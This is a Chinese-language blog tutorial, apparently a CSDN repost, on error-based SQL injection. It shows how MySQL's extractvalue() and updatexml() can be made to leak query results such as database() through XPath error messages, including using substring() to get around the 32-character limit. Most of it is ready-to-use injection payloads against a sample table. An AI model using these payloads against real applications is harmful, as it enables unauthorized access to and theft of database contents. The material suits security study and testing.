学习基于extractvalue()和updatexml()的报错注入 extractvalue() :对XML文档进行查询的函数

extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))


使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))


updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))


报错方式相同:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

同样是32位查询。

转载指明出处

文章同步到我的博客: http://119.23.249.120/archives/256

猜你喜欢

转载自blog.csdn.net/zpy1998zpy/article/details/80631036